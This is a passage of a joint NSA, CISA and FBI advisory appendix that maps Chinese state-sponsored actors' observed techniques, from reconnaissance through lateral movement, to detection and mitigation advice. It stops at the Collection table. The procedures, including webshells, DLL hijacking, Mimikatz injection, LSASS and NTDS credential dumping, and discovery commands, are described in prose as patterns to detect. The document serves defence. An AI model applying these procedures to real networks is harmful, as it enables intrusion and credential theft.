The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed by NSA, CISA, and FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/.

Trademark Recognition

MITRE and ATT&CK are registered trademarks of The MITRE Corporation. • D3FEND is a trademark of The MITRE Corporation. • Microsoft, Microsoft Exchange, Office 365, Microsoft Office, OneDrive, Outlook, OWA, PowerShell, Windows Defender, and Windows are registered trademarks of Microsoft Corporation. • Pulse Secure is a registered trademark of Pulse Secure, LLC. • Apache is a registered trademark of Apache Software Foundation. • F5 and BIG-IP are registered trademarks of F5 Networks. • Cobalt Strike is a registered trademark of Strategic Cyber LLC. • GitHub is a registered trademark of GitHub, Inc. • JavaScript is a registered trademark of Oracle Corporation. • Python is a registered trademark of Python Software Foundation. • Unix is a registered trademark of The Open Group. • Linux is a registered trademark of Linus Torvalds. • Dropbox is a registered trademark of Dropbox, Inc.

APPENDIX A: Chinese State-Sponsored Cyber Actors’ Observed Procedures

Note: D3FEND techniques are based on the Threat Actor Procedure(s) and may not match automated mappings to ATT&CK techniques and sub-techniques.

Tactics: Reconnaissance [TA0043]    

Table 1: Chinese state-sponsored cyber actors’ Reconnaissance TTPs with detection and mitigation recommendations

Threat Actor
Technique / Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Defensive Tactics and Techniques

Active Scanning [T1595

Chinese state-sponsored cyber actors have been assessed to perform reconnaissance on Microsoft® 365 (M365), formerly Office® 365, resources with the intent of further gaining information about the networks. These scans can be automated, through Python® scripts, to locate certain files, paths, or vulnerabilities. The cyber actors can gain valuable information on the victim network, such as the allocated resources, an organization’s fully qualified domain name, IP address space, and open ports to target or exploit.

Minimize the amount and sensitivity of data available to external parties, for example: 

  • Scrub user email addresses and contact lists from public websites, which can be used for social engineering, 

  • Share only necessary data and information with third parties, and 

  • Monitor and limit third-party access to the network. 

Active scanning from cyber actors may be identified by monitoring network traffic for sources associated with botnets, adversaries, and known bad IPs based on threat intelligence.

Detect: 

  • Network Traffic Analysis

    • Connection Attempt Analysis [D3-CAA]

Isolate: 

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

Gather Victim Network Information [T1590]

 

Tactics: Resource Development [TA0042]

Table II: Chinese state-sponsored cyber actors’ Resource Development TTPs with detection and mitigation recommendations

Threat Actor
Technique / Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Defensive Tactics and Techniques

Acquire Infrastructure [T1583]

 

Chinese state-sponsored cyber actors have been observed using VPSs from cloud service providers that are physically distributed around the world to host malware and function as C2 nodes.

 

Adversary activities occurring outside the organization’s boundary of control and view makes mitigation difficult. Organizations can monitor for unexpected network traffic and data flows to and from VPSs and correlate other suspicious activity that may indicate an active threat.

 

N/A

Stage Capabilities [T1608]

Obtain Capabilities [T1588]: 

Chinese state-sponsored cyber actors have been observed using Cobalt Strike® and tools from GitHub® on victim networks. 

Organizations may be able to identify malicious use of Cobalt Strike by:

  • Examining network traffic using Transport Layer Security (TLS) inspection to identify Cobalt Strike. Look for human generated vice machine-generated traffic, which will be more uniformly distributed. 

  • Looking for the default Cobalt Strike TLS certificate. 

  • Look at the user agent that generates the TLS traffic for discrepancies that may indicate faked and malicious traffic.

  • Review the traffic destination domain, which may be malicious and an indicator of compromise.

  • Look at the packet's HTTP host header. If it does not match with the destination domain, it may indicate a fake Cobalt Strike header and profile.

  • Check the Uniform Resource Identifier (URI) of the flow to see if it matches one associated with Cobalt Strike's malleable C2 language. If discovered, additional recovery and investigation will be required.

 

N/A Tactics: Initial Access [TA0001]

Table III: Chinese state-sponsored cyber actors’ Initial Access TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Detection and Mitigation Recommendations

Drive By Compromise [T1189]

Chinese state-sponsored cyber actors have been observed gaining access to victim networks through watering hole campaigns of typo-squatted domains.

  • Ensure all browsers and plugins are kept up to date.
  • Use modern browsers with security features turned on.
  • Restrict the use of unneeded websites, block unneeded downloads/attachments, block unneeded JavaScript®, restrict browser extensions, etc.
  • Use adblockers to help prevent malicious code served through advertisements from executing. 
  • Use script blocking extensions to help prevent the execution of unneeded JavaScript, which may be used during exploitation processes. 
  • Use browser sandboxes or remote virtual environments to mitigate browser exploitation.
  • Use security applications that look for behavior used during exploitation, such as Windows Defender® Exploit Guard (WDEG).

Detect: 

  • Identifier Analysis
    • Homoglyph Detection [D3-HD]
    • URL Analysis [D3-UA]
  • File Analysis
    • Dynamic Analysis [D3-DA]

Isolate: 

  • Execution Isolation
    • Hardware-based Process Isolation [D3-HBPI]
    • Executable Allowlisting [D3-EAL]
  • Network Isolation

Exploit Public-Facing Application [T1190]

Chinese state-sponsored cyber actors have exploited known vulnerabilities in Internet-facing systems.[1] For information on vulnerabilities known to be exploited by Chinese state-sponsored cyber actors, refer to the Trends in Chinese State-Sponsored Cyber Operations section for a list of resources.
Chinese state-sponsored cyber actors have also been observed:

  • Using short-term VPS devices to scan and exploit vulnerable Microsoft Exchange® Outlook Web Access (OWA®) and plant webshells.

  • Targeting on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments to gain access to cloud resources.

  • Deploying a public proof of concept (POC) exploit targeting a public-facing appliance vulnerability.

Review previously published alerts and advisories from NSA, CISA, and FBI, and diligently patch vulnerable applications known to be exploited by cyber actors. Refer to the Trends in Chinese State-Sponsored Cyber Operations section for a non-inclusive list of resources.

Additional mitigations include:

  • Consider implementing Web Application Firewalls (WAF), which can prevent exploit traffic from reaching an application.
  • Segment externally facing servers and services from the rest of the network with a demilitarized zone (DMZ).
  • Use multi-factor authentication (MFA) with strong factors and require regular re-authentication.
  • Disable protocols using weak authentication.
  • Limit access to and between cloud resources with the desired state being a Zero Trust model. For more information refer to NSA Cybersecurity Information Sheet: [Embracing a Zero Trust Security Model].
  • When possible, use cloud-based access controls on cloud resources (e.g., cloud service provider (CSP)-managed authentication between virtual machines).
  • Use automated tools to audit access logs for security concerns.
  • Where possible, enforce MFA for password resets.
  • Do not include Application Programing Interface (API) keys in software version control systems where they can be unintentionally leaked.

Harden:

  • Application Hardening [D3-AH]
  • Platform Hardening
    • Software Update [D3-SU]

Detect:

  • File Analysis [D3-FA
  • Network Traffic Analysis
    • Client-server Payload Profiling [D3-CSPP]
  • Process Analysis 
    • Process Spawn Analysis
    • Process Lineage Analysis [D3-PLA]

Isolate: 

  • Network Isolation
    • Inbound Traffic Filtering [D3-ITF]

Phishing [T1566]: 

Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns. These email compromise attempts range from generic emails with mass targeted phishing attempts to specifically crafted emails in targeted social engineering lures. 
These compromise attempts use the cyber actors’ dynamic collection of VPSs, previously compromised accounts, or other infrastructure in order to encourage engagement from the target audience through domain typo-squatting and masquerading. These emails may contain a malicious link or files that will provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment. 

  • Implement a user training program and simulated spearphishing emails to discourage users from visiting malicious websites or opening malicious attachments and re-enforce the appropriate user responses to spearphishing emails. Quarantine suspicious files with antivirus solutions.
  • Use a network intrusion prevention system (IPS) to scan and remove malicious email attachments.
  • Block uncommon file types in emails that are not needed by general users (.exe, .jar,.vbs)
  • Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using Sender Policy Framework [SPF]) and integrity of messages (using Domain Keys Identified Mail [DKIM]). Enabling these mechanisms within an organization (through policies such as Domain-based Message Authentication, Reporting, and Conformance [DMARC]) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.
  • Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
  • Prevent users from clicking on malicious links by stripping hyperlinks or implementing "URL defanging" at the Email Security Gateway or other email security tools.
  • Add external sender banners to emails to alert users that the email came from an external sender.

Harden: 

  • Message Hardening
    • Message Authentication [D3-MAN]
    • Transfer Agent Authentication [D3-TAAN]

Detect: 

  • File Analysis
    • Dynamic Analysis [D3-DA]
  • Identifier Analysis
    • Homoglyph Detection [D3-HD]
    • URL Analysis [D3-UA]
  • Message Analysis
    • Sender MTA Reputation Analysis [D3-SMRA]
    • Sender Reputation Analysis [D3-SRA]
       

External Remote Services [T1133]

Chinese state-sponsored cyber actors have been observed:

  • Exploiting vulnerable devices immediately after conducting scans for critical zero-day or publicly disclosed vulnerabilities. The cyber actors used or modified public proof of concept code in order to exploit vulnerable systems.

  • Targeting Microsoft Exchange offline address book (OAB) virtual directories (VDs).

  • Exploiting Internet accessible webservers using webshell small code injections against multiple code languages, including net, asp, apsx, php, japx, and cfm. 

Note: refer to the references listed above in Exploit Public-Facing Application [T1190] for information on CVEs known to be exploited by malicious Chinese cyber actors.


Note: this technique also applies to Persistence [TA0003].

  • Many exploits can be mitigated by applying available patches for vulnerabilities (such as CVE-2019-11510, CVE-2019-19781, and CVE-2020-5902) affecting external remote services.
  • Reset credentials after virtual private network (VPN) devices are upgraded and reconnected to the external network.
  • Revoke and generate new VPN server keys and certificates (this may require redistributing VPN connection information to users).
  • Disable Remote Desktop Protocol (RDP) if not required for legitimate business functions.
  • Restrict VPN traffic to and from managed service providers (MSPs) using a dedicated VPN connection.
  • Review and verify all connections between customer systems, service provider systems, and other client enclaves.

Harden:

  • Software Update [D3-SU]

Detect:

  • Network Traffic Analysis
    • Connection Attempt Analysis [D3-CAA]
  • Platform Monitoring [D3-PM]
  • Process Analysis
    • Process Spawn Analysis [D3-SPA
      • Process Lineage Analysis [D3-PLA]

Valid Accounts [T1078]:

Chinese state-sponsored cyber actors have been observed: gaining credential access into victim networks by using legitimate, but compromised credentials to access OWA servers, corporate login portals, and victim networks.

Note: this technique also applies to Persistence [TA0003], Privilege Escalation [TA0004], and Defense Evasion [TA0005].

  • Adhere to best practices for password and permission management.
  • Ensure that MSP accounts are not assigned to administrator groups and restrict those accounts to only systems they manage 
  • Do not store credentials or sensitive data in plaintext.
  • Change all default usernames and passwords.
  • Routinely update and secure applications using Secure Shell (SSH). 
  • Update SSH keys regularly and keep private keys secure.
  • Routinely audit privileged accounts to identify malicious use.

Harden: 

  • Credential Hardening
    • Multi-factor Authentication [D3-MFA]

Detect:

  • User Behavior Analysis [D3-UBA]
    • Authentication Event Thresholding [D3-ANET
    • Job Function Access Pattern Analysis [D3-JFAPA]
Tactics: Execution [TA0002]

Table IV: Chinese state-sponsored cyber actors’ Execution TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques

Threat Actor Procedure(s)

Detection and Mitigation Recommendations

Defensive Tactics and Techniques

Command and Scripting Interpreter [T1059]: 

Chinese state-sponsored cyber actors have been observed:

  • Using cmd.exe, JavaScript/Jscript Interpreter, and network device command line interpreters (CLI).

  • Using PowerShell to conduct reconnaissance, enumeration, and discovery of the victim network. 

  • Employing Python scripts to exploit vulnerable servers.

  • Using a UNIX shell in order to conduct discovery, enumeration, and lateral movement on Linux® servers in the victim network.

PowerShell

  • Turn on PowerShell logging. (Note: this works better in newer versions of PowerShell. NSA, CISA, and FBI recommend using version 5 or higher.)

  • Push Powershell logs into a security information and event management (SIEM) tool.

  • Monitor for suspicious behavior and commands. Regularly evaluate and update blocklists and allowlists.

  • Use an antivirus program, which may stop malicious code execution that cyber actors attempt to execute via PowerShell.

  • Remove PowerShell if it is not necessary for operations. 

  • Restrict which commands can be used.

Windows Command Shell

  • Restrict use to administrator, developer, or power user systems. Consider its use suspicious and investigate, especially if average users run scripts. 

  • Investigate scripts running out of cycle from patching or other administrator functions if scripts are not commonly used on a system, but enabled. 

  • Monitor for and investigate other unusual or suspicious scripting behavior. 

Unix

  • Use application controls to prevent execution.

  • Monitor for and investigate unusual scripting behavior. Use of the Unix shell may be common on administrator, developer, or power user systems. In this scenario, normal users running scripts should be considered suspicious. 

  • If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions should be considered suspicious. 

Python

  • Audit inventory systems for unauthorized Python installations.

  • Blocklist Python where not required.

  • Prevent users from installing Python where not required.

JavaScript

  • Turn off or restrict access to unneeded scripting components.

  • Blocklist scripting where appropriate.

  • For malicious code served up through ads, adblockers can help prevent that code from executing.

Network Device Command Line Interface (CLI)

  • Use TACACS+ to keep control over which commands administrators are permitted to use through the configuration of authentication and command authorization.

  • Use an authentication, authorization, and accounting (AAA) systems to limit actions administrators can perform and provide a history of user actions to detect unauthorized use and abuse.

  • Ensure least privilege principles are applied to user accounts and groups.

Harden: 

  • Platform Hardening [D3-PH]

Detect: 

  • Process Analysis

    • Script Execution Analysis [D3-SEA]

Isolate:

  • Execution Isolation

    • Executable Allowlisting [D3-EAL]

Scheduled Task/Job [T1053]

Chinese state-sponsored cyber actors have been observed using Cobalt Strike, webshells, or command line interface tools, such as schtask or crontab to create and schedule tasks that enumerate victim devices and networks.


Note: this technique also applies to Persistence [TA0003] and Privilege Escalation [TA0004].

•    Monitor scheduled task creation from common utilities using command-line invocation and compare for any changes that do not correlate with known software, patch cycles, or other administrative activity.
•    Configure event logging for scheduled task creation and monitor process execution from svchost.exe (Windows 10) and Windows Task Scheduler (Older version of Windows) to look for changes in %systemroot%\System32\Tasks that do not correlate with known software, patch cycles, or other administrative activity. Additionally monitor for any scheduled tasks created via command line utilities—such as PowerShell or Windows Management Instrumentation (WMI)—that do not conform to typical administrator or user actions. 

Detect: 

  • Platform Monitoring
    • Operating System Monitoring [D3-OSM]
      • Scheduled Job Analysis [D3-SJA]
      • System Daemon Monitoring [D3-SDM]
      • System File Analysis [D3-SFA]

Isolate: 

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

User Execution [T1204]

Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns that encourage engagement from the target audience. These emails may contain a malicious link or file that provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment.

  • Use an antivirus program, which may stop malicious code execution that cyber actors convince users to attempt to execute.
  • Prevent unauthorized execution by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
  • Use a domain reputation service to detect and block suspicious or malicious domains.
  • Determine if certain categories of websites are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
  • Ensure all browsers and plugins are kept up to date.
  • Use modern browsers with security features turned on.
  • Use browser and application sandboxes or remote virtual environments to mitigate browser or other application exploitation.

Detect: 

  • File Analysis
  • Identifier Analysis
    • Homoglyph Detection [D3-HD]
    • URL Analysis [D3-UA]
  • Network Traffic Analysis

Isolate: 

  • Execution Isolation
    • Hardware-based Process Isolation [D3-HBPI]
    • Executable Allowlisting [D3-EAL]
  • Network Isolation
Tactics: Persistence [TA0003]

Table V: Chinese state-sponsored cyber actors’ Persistence TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Hijack Execution Flow [T1574]: 

Chinese state-sponsored cyber actors have been observed using benign executables which used Dynamic Link Library (DLL) load-order hijacking to activate the malware installation process. 

Note: this technique also applies to Privilege Escalation [TA0004] and Defense Evasion [TA0005].

  • Disallow loading of remote DLLs.
  • Enable safe DLL search mode.
  • Implement tools for detecting search order hijacking opportunities.
  • Use application allowlisting to block unknown DLLs.
  • Monitor the file system for created, moved, and renamed DLLs.
  • Monitor for changes in system DLLs not associated with updates or patches.
  • Monitor DLLs loaded by processes (e.g., legitimate name, but abnormal path).

Detect: 

  • Platform Monitoring
    • Operating System Monitoring
      • Service Binary Verification [D3-SBV]
  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA]

Isolate: 

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

Modify Authentication Process [T1556]

  • Domain Controller Authentication [T1556.001]

Chinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network.
Note: this technique also applies to Defense Evasion [TA0005] and Credential Access [TA0006].

  • Monitor for policy changes to authentication mechanisms used by the domain controller. 
  • Monitor for modifications to functions exported from authentication DLLs (such as cryptdll.dll and samsrv.dll).
  • Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. 
  • Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts (for example, one account logged into multiple systems simultaneously, multiple accounts logged into the same machine simultaneously, accounts logged in at odd times or outside of business hours). 
  • Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
  • Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for and correlate changes to Registry entries.

Detect: 

  • Process Analysis [D3-PA]
  • User Behavior Analysis
    • Authentication Event Thresholding [D3-ANET]
    • User Geolocation Logon Pattern Analysis [D3-UGLPA]  

Server Software Component [T1505]: 

Chinese state-sponsored cyber actors have been observed planting web shells on exploited servers and using them to provide the cyber actors with access to the victim networks. 

  • Use Intrusion Detection Systems (IDS) to monitor for and identify China Chopper traffic using IDS signatures.
  • Monitor and search for predictable China Chopper shell syntax to identify infected files on hosts.
  • Perform integrity checks on critical servers to identify and investigate unexpected changes.
  • Have application developers sign their code using digital signatures to verify their identity.
  • Identify and remediate web application vulnerabilities or configuration weaknesses. Employ regular updates to applications and host operating systems.
  • Implement a least-privilege policy on web servers to reduce adversaries’ ability to escalate privileges or pivot laterally to other hosts and control creation and execution of files in particular directories.
  • If not already present, consider deploying a DMZ between web-facing systems and the corporate network. Limiting the interaction and logging traffic between the two provides a method to identify possible malicious activity.
  • Ensure secure configuration of web servers. All unnecessary services and ports should be disabled or blocked. Access to necessary services and ports should be restricted, where feasible. This can include allowlisting or blocking external access to administration panels and not using default login credentials.
  • Use a reverse proxy or alternative service, such as mod_security, to restrict accessible URL paths to known legitimate ones.
  • Establish, and backup offline, a “known good” version of the relevant server and a regular change management policy to enable monitoring for changes to servable content with a file integrity system.
  • Employ user input validation to restrict exploitation of vulnerabilities.
  • Conduct regular system and application vulnerability scans to establish areas of risk. While this method does not protect against zero-day exploits, it will highlight possible areas of concern.
  • Deploy a web application firewall and conduct regular virus signature checks, application fuzzing, code reviews, and server network analysis.

Detect: 

  • Network Traffic Analysis
    • Client-server Payload Profiling [D3-CSPP]
    • Per Host Download-Upload Ratio Analysis [D3-PHDURA]
  • Process Analysis 
    • Process Spawn Analysis
      • Process Lineage Analysis [D3-PLA]

Isolate:

  • Network Isolation
    • Inbound Traffic Filtering [D3-ITF]

Create or Modify System Process [T1543]:

Chinese state-sponsored cyber actors have been observed executing malware shellcode and batch files to establish new services to enable persistence.

Note: this technique also applies to Privilege Escalation [TA0004].

  • Only allow authorized administrators to make service changes and modify service configurations. 
  • Monitor processes and command-line arguments for actions that could create or modify services, especially if such modifications are unusual in your environment.
  • Monitor WMI and PowerShell for service modifications.
Detect:
  • Process Analysis 
    • Process Spawn Analysis [D3-PSA]
Tactics: Privilege Escalation [TA0004]

Table VI: Chinese state-sponsored cyber actors’ Privilege Escalation TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Domain Policy Modification [T1484]

Chinese state-sponsored cyber actors have also been observed modifying group policies for password exploitation.

Note: this technique also applies to Defense Evasion [TA0005].

  • Identify and correct Group Policy Object (GPO) permissions abuse opportunities (e.g., GPO modification privileges) using auditing tools.
  • Monitor directory service changes using Windows event logs to detect GPO modifications. Several events may be logged for such GPO modifications.
  • Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.

Detect:

  • Network Traffic Analysis
    • Administrative Network Activity Analysis [D3-ANAA]
  • Platform Monitoring
    • Operating System Monitoring
      • System File Analysis [D3-SFA]

Process Injection [T1055]: 

Chinese state-sponsored cyber actors have been observed:

  • Injecting into the rundll32.exe process to hide usage of Mimikatz, as well as injecting into a running legitimate explorer.exe process for lateral movement.
  • Using shellcode that injects implants into newly created instances of the Service Host process (svchost)

Note: this technique also applies to Defense Evasion [TA0005].
 

  • Use endpoint protection software to block process injection based on behavior of the injection process.
  • Monitor DLL/Portable Executable (PE) file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
  • Monitor for suspicious sequences of Windows API calls such as CreateRemoteThread, VirtualAllocEx, or WriteProcessMemory and analyze processes for unexpected or atypical behavior such as opening network connections or reading files.
  • To minimize the probable impact of a threat actor using Mimikatz, always limit administrative privileges to only users who actually need it; upgrade Windows to at least version 8.1 or 10; run Local Security Authority Subsystem Service (LSASS) in protected mode on Windows 8.1 and higher; harden the local security authority (LSA) to prevent code injection.
  • Execution Isolation
    • Hardware-based Process Isolation [D3-HBPI]
    • Mandatory Access Control [D3-MAC]
Tactics: Defense Evasion [TA0005]

Table VII: Chinese state-sponsored cyber actors’ Defensive Evasion TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Deobfuscate/Decode Files or Information [T1140]

Chinese state-sponsored cyber actors were observed using the 7-Zip utility to unzip imported tools and malware files onto the victim device.

  • Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
  • Consider blocking, disabling, or monitoring use of 7-Zip.

Detect: 

  • Process Analysis 
    • Process Spawn Analysis [D3-PSA]

Isolate: 

  • Execution Isolation
    • Executable Denylisting [D3-EDL]

Hide Artifacts [T1564]

Chinese state-sponsored cyber actors were observed using benign executables which used DLL load-order hijacking to activate the malware installation process.

  • Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts, such as executables using DLL load-order hijacking that can activate malware.
  • Monitor event and authentication logs for records of hidden artifacts being used.
  • Monitor the file system and shell commands for hidden attribute usage.

Detect: 

  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA

Isolate:

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

Indicator Removal from Host [T1070]

Chinese state-sponsored cyber actors have been observed deleting files using rm or del commands.
Several files that the cyber actors target would be timestomped, in order to show different times compared to when those files were created/used.

  • Make the environment variables associated with command history read only to ensure that the history is preserved.
  • Recognize timestomping by monitoring the contents of important directories and the attributes of the files. 
  • Prevent users from deleting or writing to certain files to stop adversaries from maliciously altering their ~/.bash_history or ConsoleHost_history.txt files.
  • Monitor for command-line deletion functions to correlate with binaries or other files that an adversary may create and later remove. Monitor for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce.
  • Monitor and record file access requests and file handles. An original file handle can be correlated to a compromise and inconsistencies between file timestamps and previous handles opened to them can be a detection rule.

Detect: 

  • Platform Monitoring
    • Operating System Monitoring
      • System File Analysis [D3-SFA]
  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA

Isolate:

  • Execution Isolation
    • Executable Allowlisting [D3-EAL]

Obfuscated Files or Information [T1027]

Chinese state-sponsored cyber actors were observed Base64 encoding files and command strings to evade security measures.

Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.

Detect:

  • Process Analysis
    • File Access Pattern Analysis [D3-FAPA]

Signed Binary Proxy Execution [T1218]

Chinese state-sponsored cyber actors were observed using Microsoft signed binaries, such as Rundll32, as a proxy to execute malicious payloads.

Monitor processes for the execution of known proxy binaries (e.g., rundll32.exe) and look for anomalous activity that does not follow historically good arguments and loaded DLLs associated with the invocation of the binary.

Detect:

  • Process Analysis

    • File Access Pattern Analysis [D3-FAPA]

    • Process Spawn Analysis [D3-PSA

Tactics: Credential Access [TA0006]

Table VIII: Chinese state-sponsored cyber actors’ Credential Access TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Exploitation for Credential Access [T1212]

Chinese state-sponsored cyber actors have been observed exploiting Pulse Secure VPN appliances to view and extract valid user credentials and network information from the servers.

  • Update and patch software regularly.

  • Use cyber threat intelligence and open-source reporting to determine vulnerabilities that threat actors may be actively targeting and exploiting; patch those vulnerabilities immediately.

Harden: 

  • Platform Hardening

    • Software Update [D3-SU]

  • Credential Hardening

    • Multi-factor Authentication [D3-MFA]

OS Credential Dumping [T1003]
•    LSASS Memory [T1003.001]
•    NTDS [T1003.003]

Chinese state-sponsored cyber actors were observed targeting the LSASS process or Active directory (NDST.DIT) for credential dumping.

  • Monitor process and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NDST.DIT.

  • Ensure that local administrator accounts have complex, unique passwords across all systems on the network.

  • Limit credential overlap across accounts and systems by training users and administrators not to use the same passwords for multiple accounts.

  • Consider disabling or restricting NTLM. 

  • Consider disabling WDigest authentication. 

  • Ensure that domain controllers are backed up and properly secured (e.g., encrypt backups).

  • Implement Credential Guard to protect the LSA secrets from credential dumping on Windows 10. This is not configured by default and requires hardware and firmware system requirements. 

  • Enable Protected Process Light for LSA on Windows 8.1 and Windows Server 2012 R2.

Harden:

  • Credential Hardening [D3-CH]

Detect: 

  • Process Analysis

    • File Access Pattern Analysis [D3-FAPA]

    • System Call Analysis [D3-SCA]

Isolate: 

  • Execution Isolation

    • Hardware-based Process Isolation [D3-HBPI]

    • Mandatory Access Control [D3-MAC]

Tactics: Discovery [TA0007]

Table IX: Chinese state-sponsored cyber actors’ Discovery TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

File and Directory Discovery [T1083]

Chinese state-sponsored cyber actors have been observed using multiple implants with file system enumeration and traversal capabilities.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. WMI and PowerShell should also be monitored.

Detect: 

  • User Behavior Analysis

    • Job Function Access Pattern Analysis [D3-JFAPA]

  • Process Analysis 

    • Database Query String Analysis [D3-DQSA]

    • File Access Pattern Analysis [D3-FAPA]

    • Process Spawn Analysis [D3-PSA]

Permission Group Discovery [T1069]

Chinese state-sponsored cyber actors have been observed using commands, including net group and net localgroup, to enumerate the different user groups on the target network. 

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Detect: 

  • Process Analysis 

  • Process Spawn Analysis [D3-PSA]

    • System Call Analysis [D3-SCA]

  • User Behavior Analysis [D3-UBA]  

Process Discovery [T1057]

Chinese state-sponsored cyber actors have been observed using commands, including tasklist, jobs, ps, or taskmgr, to reveal the running processes on victim devices.

Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. 

Detect: 

  • Process Analysis 

    • Process Spawn Analysis [D3-PSA]

    • System Call Analysis [D3-SCA]

  • User Behavior Analysis [D3-UBA]

Network Service Scanning [T1046]

Chinese state-sponsored cyber actors have been observed using Nbtscan and nmap to scan and enumerate target network information.

•    Ensure that unnecessary ports and services are closed to prevent discovery and potential exploitation.
•    Use network intrusion detection and prevention systems to detect and prevent remote service scans such as Nbtscan or nmap.
•    Ensure proper network segmentation is followed to protect critical servers and devices to help mitigate potential exploitation.

Detect: 

  • Network Traffic Analysis

    • Connection Attempt Analysis [D3-CAA]

Isolate:

  • Network Isolation

    • Inbound Traffic Filtering [D3-ITF]

Remote System Discovery [T1018]

Chinese state-sponsored cyber actors have been observed using Base-64 encoded commands, including ping, net group, and net user to enumerate target network information.

Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.

Detect: 

  • Process Analysis 

    • Process Spawn Analysis [D3-PSA]

  • User Behavior Analysis

    • Job Function Access Pattern Analysis [D3-JFAPA]

Tactics: Lateral Movement [TA0008]

Table X: Chinese state-sponsored cyber actors’ Lateral Movement TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Exploitation of Remote Services [T1210]

Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user.

Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.

Chinese state-sponsored cyber actors used valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, RDP, and Virtual Network Computing (VNC). The actor may then perform actions as the logged-on user.

Chinese state-sponsored cyber actors also used on-premises Identity and Access Management (IdAM) and federation services in hybrid cloud environments in order to pivot to cloud resources.

  • Disable or remove unnecessary services.

  • Minimize permissions and access for service accounts.

  • Perform vulnerability scanning and update software regularly.

  • Use threat intelligence and open-source exploitation databases to determine services that are targets for exploitation.

Detect: 

  • Network Traffic Analysis

    • Remote Terminal Session Detection [D3-RTSD

  • User Behavior Analysis [D3-UBA]

Isolate:

  • Execution Isolation

    • Mandatory Access Control [D3-MAC]

Tactics: Collection [TA0009]

Table XI: Chinese state-sponsored cyber actors’ Collection TTPs with detection and mitigation recommendations

Threat Actor Technique /
Sub-Techniques Threat Actor Procedure(s) Detection and Mitigation Recommendations Defensive Tactics and Techniques

Archive Collected Data [T1560]

